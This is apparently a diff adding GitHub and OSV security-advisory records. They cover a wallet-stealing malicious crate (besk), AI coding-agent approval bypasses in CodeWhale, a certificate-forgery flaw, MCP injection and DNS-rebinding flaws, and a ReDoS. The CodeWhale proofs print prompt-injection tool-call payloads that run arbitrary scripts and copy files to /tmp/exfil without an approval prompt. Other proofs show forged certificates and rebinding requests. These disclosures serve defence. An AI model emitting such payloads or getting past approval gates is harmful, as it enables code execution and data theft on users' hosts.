0.2.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x26x-7f4v-cqx7/GHSA-x26x-7f4v-cqx7.json"}}],"references":[{"type":"WEB","url":"https://github.com/axiom-crypto/snark-verifier/security/advisories/GHSA-x26x-7f4v-cqx7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62337"},{"type":"WEB","url":"https://github.com/axiom-crypto/halo2-lib/commit/f53be0939e2accf0dd7672b1a4abe80af73dadf3"},{"type":"WEB","url":"https://github.com/axiom-crypto/snark-verifier/commit/364e82654c746b063aff528d8cb660890908278a"},{"type":"WEB","url":"https://github.com/axiom-crypto/snark-verifier/commit/bbfcc721d714bea0d44a27c8fc6c4736e73ca853"},{"type":"WEB","url":"https://crates.io/crates/snark-verifier/0.2.6"},{"type":"PACKAGE","url":"https://github.com/axiom-crypto/snark-verifier"},{"type":"WEB","url":"https://github.com/axiom-crypto/snark-verifier/releases/tag/v0.2.5"}],"database_specific":{"cwe_ids":["CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:01:59Z","nvd_published_at":"2026-10-30T20:17:12Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"MAL-2026-20253","published":"2026-11-19T18:12:23Z","modified":"2026-11-19T18:45:05.304469553Z","summary":"Malicious code in besk (crates.io)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1fcb2c7993d79ce401ea84c943e2838258f01ec1ecea1adb7f9fd58b536d4241)\nThe crate ships a user-run binary whose main entry awaits parse::bs() and test::dat(). These routines use dirs::home_dir and WalkDir to enumerate the user's home directory, match wallet/keystore files, compress them with ZipWriter, and transmit them to attacker-controlled destinations: a hardcoded Telegram chat id 7304091279 via the toxtg crate, and the Groq LLM API at api.groq.com/openai/v1 using an in-source gsk_ bearer key. parse.rs and test.rs each embed the live Groq API key and Telegram chat id as const strings. The dependency set additionally stages keystroke capture (rdev 0.5.3, evdev 0.12) and Windows registry access (winreg 0.50 under cfg(windows)), invoked from the same test module. The payload is buried inside ~40-60 KB of nonsense padding functions with randomized identifiers (apply_twice_torvak_78, mix_mirmir_240, Modemir65::Umbfel67, etc.) wrapping the small active block around lines 1230-1540 of parse.rs and test.rs, consistent with deliberate obfuscation to defeat casual review. The package's Russian self-description as a 'cybersecurity learning project' does not match its behavior.\n","affected":[{"package":{"name":"besk","ecosystem":"crates.io","purl":"pkg:cargo/besk"},"versions":["0.1.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/parse.rs","sha256":"47498ac324423ad72dbe3f6444048f7385a9c3796a068523afa00aeb4224066f","tlsh":"1303534558f60875a057f8ad1b4eb813762889af1a0dfe147ebc23309f4b0695af1fd8"},{"path":"Cargo.toml.orig","sha256":"f1b0afc72a14572d9dbdd53dd1a56e07bf80255614beea5be6cf3bbabdfa3bc7","tlsh":"79016b29f50da9770c0761a12d5c11c5abb6116c3a4808ec62ef8126bccdcccdfec824"}],"package_integrity":[{"filename":"besk-0.1.1.crate","hashes":{"sha256":"77fbc1530face9456b3f99df47d2004d63ee00e13350702ac22d41df13f9efad"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/crates.io/besk/MAL-2026-20253.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/besk/0.1.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022890","import_time":"2026-11-19T18:14:26.465064381Z","modified_time":"2026-11-19T18:12:23Z","sha256":"1fcb2c7993d79ce401ea84c943e2838258f01ec1ecea1adb7f9fd58b536d4241","source":"amazon-inspector","versions":["0.1.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-3mgh-93r5-r7jf","published":"2026-11-19T22:48:14Z","modified":"2026-11-19T23:00:36.642645468Z","aliases":["CVE-2026-83816"],"summary":"CodeWhale: exec_shell parallel-readonly classifier auto-approves fd/rg/git grep exec flags enabling silent RCE","details":"### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. CodeWhale 0.8.67 and earlier are affected. Version 0.9.0 contains the fix in commit 208421b9d23d81cea3311a1eeb2a2ea81d637686. Users should upgrade to 0.9.0 or later. The original reporter analysis is preserved below.\n\n## Summary\nThe interactive Agent profile of DeepSeek-TUI (CodeWhale) is explicitly documented to gate **every** shell command behind an approval prompt (config.rs:3725-3736). However, `ExecShellTool::approval_requirement_for(&tool_input)` downgrades the requirement from `Required` to `Auto` for any command the classifier deems \"parallel read-only\" (shell.rs:2314-2320). `registered_tool_approval_required` returns `false` for `Auto` **before** the `auto_approve` check runs (turn_loop.rs:37-38), so no prompt is shown even for a user who never enabled YOLO. The classifier `is_parallel_readonly_command` (command_safety.rs:389) rejects only shell metacharacters and then matches the flag-stripped base command name against an allowlist that includes `fd`, `rg`, and `git grep`. Those tools execute arbitrary external programs through documented flags (`fd -x/--exec`, `rg --pre`, `git grep --open-files-in-pager`) that need **no** shell metacharacters — yielding silent arbitrary-program execution in the default profile. Same silent-RCE class as CVE-2026-45311 (run_tests) but via a different, unpatched tool and code path.\n\n## Root Cause\n`approval_requirement_for` downgrades `exec_shell` to `Auto` when `exec_shell_input_is_parallel_readonly` returns true (shell.rs:2314-2320). The classifier strips all flags and matches the base command name against `PARALLEL_READONLY_PREFIXES` (command_safety.rs:363-385, 419-433). `fd`/`rg` are absent from `COMMAND_ARITY`, so `fd -x cp {} /tmp/exfil` canonicalizes to `\"fd\"` ∈ allowlist. The only remaining gate at the execute sink is `analyze_command`, which rates `fd`/`rg` as `Safe` (SAFE_COMMANDS command_safety.rs:527,530), so the `SafetyLevel::Dangerous`-only block (shell.rs:2408) never fires. Default execpolicy is empty (engine.rs:494) → Skip. Interactive-origin auto_review safety_floor holds only `Publish` (auto_review.rs:344-357), not interactive shell.\n\n## Impact\nArbitrary external program execution (any binary, any argv, including a repo-committed script) on the developer host, with no approval prompt, in the default interactive Agent profile — bypassing the boundary config.rs:3725-3736 explicitly promises. Identical outcome to seed CVE-2026-45311 via a different, unpatched tool.\n\n## Proof of Concept\nModel coerced (via indirect prompt injection from repo file / issue / fetched page — the seed threat model, in scope per SECURITY.md:48) to emit:\n```json\n{\"name\":\"exec_shell\",\"arguments\":{\"command\":\"fd -u -tf -x ./pwn.sh\"}}\n```\nAlternatives (all metachar-free, all auto-approved): `fd -tf -x cp {} /tmp/exfil`; `rg --pre /tmp/evil.sh --pre-glob '*' needle .`; `git grep --open-files-in-pager=/tmp/evil.sh needle`.\n\n## Attack Chain\n1. **Entry.** Agent ingests attacker-controlled content; injected instruction coerces the model to emit `exec_shell {\"command\":\"fd -u -tf -x ./pwn.sh\"}`.\n - **Guard:** none — reading content and model tool-calls are by design (seed threat model: indirect prompt injection).\n - **Bypass proof:** n/a (in-scope by design per SECURITY.md:48).\n2. **Gate — approval requirement.** turn_loop.rs:1738 → `spec.approval_requirement_for(&input)` → shell.rs:2314-2320 `exec_shell_input_is_parallel_readonly`.\n - **Guard:** metachar filter (command_safety.rs:394-400) + base-name allowlist.\n - **Bypass proof:** the string contains none of `; & | > < \\` $(` or newlines; `-x <program> <args>` is `fd`'s own exec mechanism (no shell). `classify_command` strips `-u -tf -x`, positionals `[fd, ./pwn.sh]`; `fd` ∉ `COMMAND_ARITY` → canonical `\"fd\"` ∈ `PARALLEL_READONLY_PREFIXES` → returns true. Maintainer test `parallel_readonly_command_classifier_is_strict` (command_safety.rs:1162+) confirms bare `fd`/`rg` classify parallel-readonly.\n3. **Gate — prompt decision.** `registered_tool_approval_required(name, Auto, auto_approve)`.\n - **Guard:** the approval prompt itself.\n - **Bypass proof:** `requirement == Auto` returns `false` at turn_loop.rs:37-38 unconditionally, before `!auto_approve`. No prompt regardless of user settings. Empty execpolicy → Skip; interactive safety_floor returns NoChange for fd.\n4. **Sink.** `ExecShellTool::execute` (shell.rs:2334) → `analyze_command`.\n - **Guard:** `SafetyLevel::Dangerous` block (shell.rs:2408).\n - **Bypass proof:** `fd` ∈ `SAFE_COMMANDS` (command_safety.rs:530) → `analLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-4c2f-96cf-f5fc","published":"2026-11-19T20:35:57Z","modified":"2026-11-19T20:45:04.329478557Z","aliases":["CVE-2026-75522"],"summary":"OpenID4VP: X.509 chain validation accepts a forged certificate that reuses a trusted anchor's Subject DN without verifying its signature","details":"## Summary\n\n`ChainBuilder` (the private RFC 5280 validator behind `TrustEvaluator` and the public credential-parsing API) terminated chain building on **Subject Distinguished Name string equality** rather than on cryptographic closure to a trust anchor. A certificate whose Subject DN string matched a trusted anchor's Subject DN was accepted as the chain terminus **with no signature verification** against the anchor's public key.\n\nAn attacker who mints a self-signed certificate and copies a trusted anchor's Subject DN string onto it can therefore have that certificate — and any credential signed with its private key — accepted as issued under a trusted authority.\n\n## Impact\n\nA relying party using `@openeudi/openid4vp` to verify OpenID4VP presentations (mdoc / SD-JWT VC) could be induced to accept a **forged credential as genuine**, defeating the trust-anchor model. In an eIDAS / EUDI age- or identity-verification deployment this permits impersonation of a trusted issuer.\n\nExploitable through the public verification path: `TrustEvaluator.evaluate()` returns a successful result (and, due to a secondary fallback, attributes the forged leaf to a real anchor's metadata), so downstream callers see a trusted outcome.\n\n## Details\n\n`src/trust/ChainBuilder.ts`, `tryBuild()`:\n\n```js\nwhile (current.subject !== anchor.subject) { /* verify & climb */ }\n// loop exits when current.subject === anchor.subject\nreturn chain; // returned WITHOUT verifying `current` against the anchor\n```\n\nThe signature-verified closure path (`if (!issuer)` -> `verifySignature(current, anchor)`) is correct, but the `while` guard provides a second, unverified exit: when a supplied certificate (the leaf, or an attacker-supplied intermediate) has a Subject DN string equal to the anchor's, the loop body never runs, no `verifySignature` call is made, and the chain is returned as valid. The per-certificate checks that do run (validity, algorithm, keyUsage) all operate on the attacker-controlled certificate and do not bind it to the anchor.\n\nSecondary contributing weakness (`src/trust/TrustEvaluator.ts`): the anchor selected for the result was matched by `serialNumber` and **fell back to `anchors[0]`** when no match was found, so the forged leaf was reported alongside a genuine anchor's `trustedAuthorityIds` / provenance.\n\n## Proof of Concept\n\n```js\n// Attacker mints a self-signed cert reusing a trusted anchor's Subject DN.\nconst impostor = selfSigned({ subject: trustedAnchor.subject /* string */ });\n// Vulnerable: resolves to a valid chain [impostor] with no signature check.\nawait new ChainBuilder().build(impostor, [trustedAnchor]);\n```\n\n## Patch\n\n`ChainBuilder.tryBuild()` now requires the terminating certificate to be **byte-identical to the trust anchor** (DER `rawData` comparison) when the loop exits on DN equality; otherwise it throws `CertificateChainError` with `reason: \"signature\"`. Cryptographic closure via `verifySignature(current, anchor)` remains the only other accepted termination. As defense-in-depth, `TrustEvaluator` now selects the terminating anchor by DER byte-identity and throws instead of silently falling back to the first candidate. Fixed in `0.8.1`.\n\n## Workarounds\n\nNone. Upgrade to `0.8.1`.\n\n## Credits\n\nReported by **Reza Shokri** — Quellkern e.U. (https://augenmass.tech), GitHub [@devdotbo](https://github.com/devdotbo). Thanks for the thorough report, the self-contained reproduction, and coordinated disclosure.","affected":[{"package":{"name":"@openeudi/openid4vp","ecosystem":"npm","purl":"pkg:npm/%40openeudi/openid4vp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.8.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.8.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4c2f-96cf-f5fc/GHSA-4c2f-96cf-f5fc.json"}}],"references":[{"type":"WEB","url":"https://github.com/openeudi/openid4vp/security/advisories/GHSA-4c2f-96cf-f5fc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75522"},{"type":"WEB","url":"https://github.com/openeudi/openid4vp/pull/25"},{"type":"WEB","url":"https://github.com/openeudi/openid4vp/commit/a3ffd435aadd61aff1f75ec4b2e1a0f44ffabf16"},{"type":"PACKAGE","url":"https://github.com/openeudi/openid4vp"},{"type":"WEB","url":"https://github.com/openeudi/openid4vp/releases/tag/v0.8.1"}],"database_specific":{"cwe_ids":["CWE-295","CWE-347"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:35:57Z","nvd_published_at":"2026-11-18T21:18:02Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-4rj4-rcrq-gr92","published":"2026-11-19T22:17:05Z","modified":"2026-11-19T22:45:06.189447053Z","summary":"Safari MCP: JavaScript injection through single-quoted tool arguments (backslash not escaped)","details":"### Impact\n\nSixteen places in `safari.js` placed a tool argument inside a single-quoted JavaScript string literal and escaped the single quote without first escaping backslashes. An argument containing a backslash followed by a quote therefore closed the literal, and the rest of the argument ran as JavaScript in the page.\n\nSeven of the affected arguments belong to read-only tools that are exempt from the tab-ownership check: `filter` in `safari_network_details` and `safari_extract_links`, `level` in `safari_console_filter`, `selector` in `safari_snapshot`, `safari_accessibility_snapshot` and `safari_extract_tables`, and `dbName` / `storeName` in `safari_get_indexed_db`. An MCP client limited to read-only tools (with `safari_evaluate` and `safari_run_script` excluded from its allowlist) could still run arbitrary page JavaScript through them, including in a tab the session does not own. The other affected arguments are `ref` in `safari_select_option`, `safari_react_select_set` and `safari_react_select_list_options`, the key in `safari_press_key`, the file name in `safari_upload_file` and `safari_paste_image`, and the first line of the text in `safari_replace_editor`.\n\n### Patches\n\nFixed in 2.22.15: every affected site uses the shared `escJsSingleQuote`, which escapes the backslash before the quote, and a test fails the build if a quote-only escape returns.\n\n### Workarounds\n\nUpgrade to 2.22.15. There is no configuration workaround: excluding `safari_evaluate` and `safari_run_script` from a client's tool list did not prevent the injection.\n\n### Credits\n\nReported privately on 2026-10-09 by Aliaksandr Palei (@fakepooh) under the coordinated-disclosure process in SECURITY.md.","affected":[{"package":{"name":"safari-mcp","ecosystem":"npm","purl":"pkg:npm/safari-mcp"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.22.15"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-4rj4-rcrq-gr92/GHSA-4rj4-rcrq-gr92.json"}}],"references":[{"type":"WEB","url":"https://github.com/achiya-automation/safari-mcp/security/advisories/GHSA-4rj4-rcrq-gr92"},{"type":"WEB","url":"https://github.com/achiya-automation/safari-mcp/commit/23f1319defefd2c5cbd06b23189ab01876a8c5d3"},{"type":"PACKAGE","url":"https://github.com/achiya-automation/safari-mcp"},{"type":"WEB","url":"https://github.com/achiya-automation/safari-mcp/releases/tag/v2.22.15"}],"database_specific":{"cwe_ids":["CWE-116","CWE-94"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:17:05Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-7589-6fvf-x4pw","published":"2026-11-19T20:51:01Z","modified":"2026-11-19T21:00:03.957083566Z","aliases":["CVE-2026-121707"],"summary":"Effect: ReDoS in Schema.TemplateLiteral compiled regex","details":"### Impact\n\n`Schema.TemplateLiteral` compiles each `Schema.String` span to the lazy wildcard `[\\s\\S]*?` and decodes input by running the resulting regular expression against it. When a template has two or more `Schema.String` spans, for example:\n\n```ts\nSchema.TemplateLiteral(Schema.String, \":\", Schema.String, \":\", Schema.String, \"X\")\n```\n\nthe regex contains several ambiguous wildcards. A non-matching input makes the backtracking engine try combinations across all of them, so matching time grows cubically with input length. A 5,000-character string of `:` characters blocks the event loop for about 15 seconds.\n\nApplications that decode untrusted input with such a schema are affected. That includes `Schema.decodeUnknown`, `Schema.decodeUnknownSync` and `Schema.is`, and anything built on them, such as `HttpApi` request payloads and `@effect/rpc` payloads.\n\n### Patches\n\nFixed in `effect@3.22.1` (#6761). Template literals whose spans are all `Schema.String` are now matched with a linear left-to-right scan instead of a regular expression.\n\n### Workarounds\n\nIf you can't upgrade, check the input length before the template literal runs. Adding `Schema.maxLength` with `.pipe` doesn't help, because the filter runs after the regex. Put the length check on the input side instead:\n\n```ts\nSchema.compose(Schema.String.pipe(Schema.maxLength(256)), MyTemplateLiteral)\n```\n\nRejecting oversized request bodies before they reach the schema also works.","affected":[{"package":{"name":"effect","ecosystem":"npm","purl":"pkg:npm/effect"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.22.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 3.22.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7589-6fvf-x4pw/GHSA-7589-6fvf-x4pw.json"}}],"references":[{"type":"WEB","url":"https://github.com/Effect-TS/effect/security/advisories/GHSA-7589-6fvf-x4pw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121707"},{"type":"WEB","url":"https://github.com/Effect-TS/effect/pull/6761"},{"type":"WEB","url":"https://github.com/Effect-TS/effect/commit/3cc3c6e1a64cbdc360e9d28e44f3ec3ce0ece6e3"},{"type":"PACKAGE","url":"https://github.com/Effect-TS/effect"},{"type":"WEB","url":"https://github.com/Effect-TS/effect/releases/tag/effect@3.22.1"}],"database_specific":{"cwe_ids":["CWE-1333"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T20:51:01Z","nvd_published_at":"2026-11-17T20:17:36Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-7qx7-33qx-rqx2","published":"2026-11-19T22:23:06Z","modified":"2026-11-19T22:45:06.164972711Z","aliases":["CVE-2026-119347"],"summary":"Next.js: SVG rejection bypass in the image optimization","details":"On self-hosted deployments, the Next.js image optimizer (`/_next/image`) can be made to process an attacker-supplied SVG even when SVG support is disabled with `dangerouslyAllowSVG: false` (the default). This reaches an SVG parser the application intended to keep disabled, increasing exposure to denial of service and SVG decoder vulnerabilities.","affected":[{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"15.0.0"},{"fixed":"15.5.29"}]}],"database_specific":{"last_known_affected_version_range":"<= 15.5.28","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7qx7-33qx-rqx2/GHSA-7qx7-33qx-rqx2.json"}},{"package":{"name":"next","ecosystem":"npm","purl":"pkg:npm/next"},"ranges":[{"type":"SEMVER","events":[{"introduced":"16.0.0"},{"fixed":"16.4.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 16.4.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7qx7-33qx-rqx2/GHSA-7qx7-33qx-rqx2.json"}}],"references":[{"type":"WEB","url":"https://github.com/vercel/next.js/security/advisories/GHSA-7qx7-33qx-rqx2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119347"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/4f133352e639589ad9872b9b55307b89b258e41b"},{"type":"WEB","url":"https://github.com/vercel/next.js/commit/e66e656e7d423a828bdca5f87e82cef7038c57a6"},{"type":"PACKAGE","url":"https://github.com/vercel/next.js"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v15.5.29"},{"type":"WEB","url":"https://github.com/vercel/next.js/releases/tag/v16.4.5"},{"type":"WEB","url":"https://nextjs.org/blog/november-2026-security-release"}],"database_specific":{"cwe_ids":["CWE-1287"],"github_reviewed":true,"github_reviewed_at":"2026-11-19T22:23:06Z","nvd_published_at":"2026-11-16T19:17:26Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-833v-v58w-294h","published":"2026-11-19T20:38:35Z","modified":"2026-11-19T20:45:04.180441483Z","aliases":["CVE-2026-76807"],"summary":"Todoist MCP Server: Browser DNS rebinding lets websites write and delete Todoist data through local MCP server","details":"The self-hosted `todoist-mcp-http` server accepts browser-origin MCP requests with attacker-controlled `Host` and `Origin` headers. A malicious website can use DNS rebinding to route its own origin to a victim's local `127.0.0.1` MCP server, then invoke Todoist MCP tools without a caller credential.\n\nThis affects `github.com/Doist/todoist-mcp` at commit `d2903e0d945d2a559d71c091337ad6380511e62f`, package version `10.3.1`, when the optional Streamable HTTP server is running. The stdio entrypoint is not browser-reachable. The vulnerable browser-reachable component is `todoist-mcp-http`.\n\nThe documented HTTP server mode runs all MCP tools with the operator's `TODOIST_API_KEY` and binds to loopback by default:\n\n```bash\nTODOIST_API_KEY=your-key npx -p @doist/todoist-mcp todoist-mcp-http\n```\n\n`src/main-http.ts:28-30` sets the HTTP bind host and port:\n\n```ts\nconst PORT = Number.parseInt(process.env.PORT || '3000', 10)\nconst HOST = process.env.HOST || '127.0.0.1'\nconst LISTEN_HOST = normalizeListenHost(HOST)\n```\n\n`src/main-http.ts:88-99` dispatches `POST /mcp` to `StreamableHTTPServerTransport` without validating `Host` or `Origin`:\n\n```ts\napp.post(\n '/mcp',\n requireValidTodoistToken({ type: 'static', apiKey: todoistApiKey, baseUrl }),\n async (req: Request, res: Response) => {\n const transport = new StreamableHTTPServerTransport({\n sessionIdGenerator: undefined,\n })\n\n const server = getMcpServer({ todoistApiKey, baseUrl })\n await server.connect(transport)\n await transport.handleRequest(req, res, req.body)\n },\n)\n```\n\n`src/middleware/require-valid-todoist-token.ts:105-117` validates the configured server-side Todoist token and then forwards the request. It does not authenticate the browser caller:\n\n```ts\nconst valid = await getValidation()\n\nif (valid) {\n next()\n return\n}\n```\n\n`src/mcp-server.ts:215-285` registers Todoist read and write tools against the server-side Todoist API client, including `add-tasks`, `complete-tasks`, `update-tasks`, `delete-object`, comments, reminders, labels, filters, goals, and assignments.\n\n## Proof of concept\n\nStart the upstream local HTTP server with an operator-owned Todoist test account:\n\n```bash\ngit clone https://github.com/Doist/todoist-mcp.git\ncd todoist-mcp\ngit checkout d2903e0d945d2a559d71c091337ad6380511e62f\nnpm ci --ignore-scripts\nnpm run build\n\nexport TODOIST_API_KEY='<Todoist test account API token>'\nPORT=8082 HOST=127.0.0.1 node dist/main-http.js\n```\n\nThe server prints:\n\n```text\nTodoist MCP HTTP Server started on 127.0.0.1:8082\nMCP endpoint: http://127.0.0.1:8082/mcp\n```\n\nFrom a browser page using DNS rebinding, route the attacker origin to `127.0.0.1:8082` and send MCP JSON-RPC requests to `POST /mcp`.\n\nFirst enumerate tools. The rebound browser session can list Todoist write tools such as `add-tasks` and `complete-tasks`.\n\nCall `user-info`:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 3,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"user-info\",\n \"arguments\": {}\n }\n}\n```\n\nObserved result: the response returns the Todoist account tied to the server-held `TODOIST_API_KEY`.\n\nCreate a disposable task:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 4,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"add-tasks\",\n \"arguments\": {\n \"tasks\": [\n {\n \"content\": \"DNS REBINDING DEMO - attacker-created task\",\n \"description\": \"Created through browser-origin DNS rebinding against local todoist-mcp-http.\",\n \"priority\": \"p1\",\n \"dueString\": \"today\"\n }\n ]\n }\n }\n}\n```\n\nObserved result: Todoist creates the task and the MCP response returns the new task ID.\n\nComplete the same task:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 5,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"complete-tasks\",\n \"arguments\": {\n \"ids\": [\n \"<RETURNED_TASK_ID>\"\n ]\n }\n }\n}\n```\n\nObserved result: the MCP response returns `successCount: 1`, and the Todoist UI shows the same task completed.\n\n[demo video](https://drive.google.com/file/d/1zfgYQS-vbi1zc8N2JayShtwBCZbN-doG/view)\n\n## Impact\n\nA public website can operate a victim's local `todoist-mcp-http` server when the optional HTTP transport is running. The browser does not supply a Todoist API token. The MCP server supplies its configured `TODOIST_API_KEY`.\n\nThe demonstrated impact is Todoist task creation and completion. The same browser-origin path exposes the rest of the registered Todoist write surface, including taLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-8hp3-xxrg-v9c8","published":"2026-11-19T22:47:33Z","modified":"2026-11-19T23:00:36.646795780Z","aliases":["CVE-2026-83817"],"summary":"CodeWhale: Automation auto_approve defaults to true, bypassing the task-path hardening fix for silent recurring agent execution","details":"### Maintainer resolution\n\nThe CodeWhale maintainers validated this report. CodeWhale 0.8.67 and earlier are affected. Version 0.9.0 contains the fix in commit 208421b9d23d81cea3311a1eeb2a2ea81d637686. Users should upgrade to 0.9.0 or later. The original reporter analysis is preserved below.\n\n## Summary\nCVE-2026-45374 (GHSA-72w5-pf8h-xfp4) hardened the task path so auto-approval must be opted into explicitly: `add_task` uses `req.auto_approve.unwrap_or(false)` (task_manager.rs:868). The automation subsystem was not hardened in kind. `AutomationRecord::task_auto_approve()` resolves an omitted `auto_approve` to `DEFAULT_AUTOMATION_AUTO_APPROVE = true` (automation_manager.rs:29, 101-103), and `enqueue_run_task` builds the `NewTaskRequest` with `auto_approve: Some(automation.task_auto_approve())` — i.e. an explicit `Some(true)` (automation_manager.rs:766). Because the field is `Some`, `unwrap_or(false)` returns `true` and the seed-2 default is bypassed. That `true` propagates to `ApprovalMode::Bypass` (runtime_threads.rs:2253), where the background approval loop auto-approves every tool call with no human present (runtime_threads.rs:3383-3416). One approved `automation_create` becomes a durable, recurring, fully auto-approved agent. Same insecure-default class as CVE-2026-45374, on a different, unpatched subsystem.\n\n## Root Cause\nSibling durable defaults in the same struct are safe — `DEFAULT_AUTOMATION_ALLOW_SHELL = false` and `DEFAULT_AUTOMATION_TRUST_MODE = false` (automation_manager.rs:27-28) — while `DEFAULT_AUTOMATION_AUTO_APPROVE` alone defaults `true` (:29). `create_automation` stores `auto_approve: None` when omitted (:422); `task_auto_approve()` resolves `None`→`true` (:101-103); `enqueue_run_task` passes `Some(true)` (:766), defeating `add_task`'s `unwrap_or(false)` seed fix. The `automation_create` tool schema also declares `\"auto_approve\": {\"type\":\"boolean\",\"default\":true}` (tools/automation.rs:49) while sibling `allow_shell`/`trust_mode` default `false`.\n\n## Impact\nA single approved `automation_create` yields a durable, recurring, fully auto-approved agent. Every scheduled fire silently authorizes mutating tools (file writes, apply_patch, git, MCP writes) with no prompt; combined with `allow_shell:true` in the create call, recurring silent RCE with no human present. Even without `allow_shell`, every recurring run silently authorizes all non-shell mutating tools. Same class as seed CVE-2026-45374.\n\n## Proof of Concept\nPrompt injection convinces the model to create a benign-sounding recurring job (single human approval on the `automation_create` call):\n```json\n{\"name\":\"automation_create\",\"arguments\":{\n \"name\":\"nightly-maintenance\",\n \"prompt\":\"Fetch latest and run project setup script\",\n \"rrule\":\"FREQ=HOURLY;INTERVAL=1\",\n \"allow_shell\":true\n}}\n```\n(`auto_approve` omitted → stored `None` → resolves to `true` on every run.)\n\n## Attack Chain\n1. **Entry.** Prompt injection → model creates a recurring job via `automation_create` with `auto_approve` omitted.\n - **Guard:** `automation_create` is `Required` (tools/automation.rs:61-63) — user sees ONE approval prompt.\n - **Bypass proof:** the prompt describes an innocuous automation; the schema hides `\"auto_approve\": {\"default\": true}` (tools/automation.rs:49). Approving \"create a scheduled job\" is not informed consent to \"every future run bypasses all approval prompts.\" The resolved `auto_approve=true` (omitted field) is not surfaced.\n2. **Persist.** `create_automation` stores `auto_approve: None` (automation_manager.rs:422).\n - **Guard:** none.\n - **Bypass proof:** `None` is later resolved to `true`, not `false`.\n3. **Fire.** Headless scheduler tick (`scheduler_tick_shared`, no human) or `automation_run` invokes `enqueue_run_task`, which sets `auto_approve: Some(true)` (automation_manager.rs:766).\n - **Guard:** seed-2's hardened `add_task` default `unwrap_or(false)` (task_manager.rs:868).\n - **Bypass proof:** the value is `Some(true)`, so `unwrap_or(false)` yields `true` — the hardened default never applies.\n4. **Sink.** Background worker builds the turn with `auto_approve=true` → `ApprovalMode::Bypass` (runtime_threads.rs:2253); the approval loop auto-approves (runtime_threads.rs:3383-3416).\n - **Guard:** auto_review safety_floor.\n - **Bypass proof:** safety_floor holds only `Publish` (any origin) and `Destructive/Secret` (background/headless) (auto_review.rs:344-357); ordinary `write_file`/`apply_patch`/`edit_file`/non-destructive `exec_shell` are NOT held → they run unattended. With `allow_shell:true`, every scheduled run additionallyLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
